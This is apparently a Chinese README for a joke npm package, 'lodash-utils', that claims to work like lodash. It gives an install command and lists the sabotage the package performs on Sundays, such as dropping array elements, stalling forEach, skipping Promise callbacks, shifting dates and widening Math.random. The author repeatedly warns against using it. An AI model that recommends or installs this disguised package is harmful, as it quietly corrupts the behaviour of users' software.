写在开头
引入之后, 就能像 lodash 一样工作,但是此代码仅在周日的时候执行。
GitHub项目地址 --> 链接直达
项目介绍
安装
npm i wll8/lodash-utils使用
const _ = require(`lodash-utils`)
const oldObj = {a: 1}
const newObj = _.cloneDeep(oldObj)
console.log(`newObj`, newObj)此代码仅在周日的时候执行以下逻辑:
Array.includes应用的数组长度可以被7整除时,永远返回false。Array.map有5%概率会丢失最后一个元素。Array.filter的结果有5%的概率丢失最后一个元素。Array.forEach会卡死一段时间。setTimeout总是会比预期时间慢1秒才触发。Promise.then有10%概率不会触发。JSON.stringify有30%概率会把I(大写字母I)变成l(小写字母L)。Date.getTime()的结果总是会慢一个小时。localStorage.getItem有5%几率返回空字符串。Math.random()的取值范围改为0到1.1
碎碎念
不要在任何项目中使用它! 不要在任何项目中使用它! 不要在任何项目中使用它!
真的有人需要这个吗🤔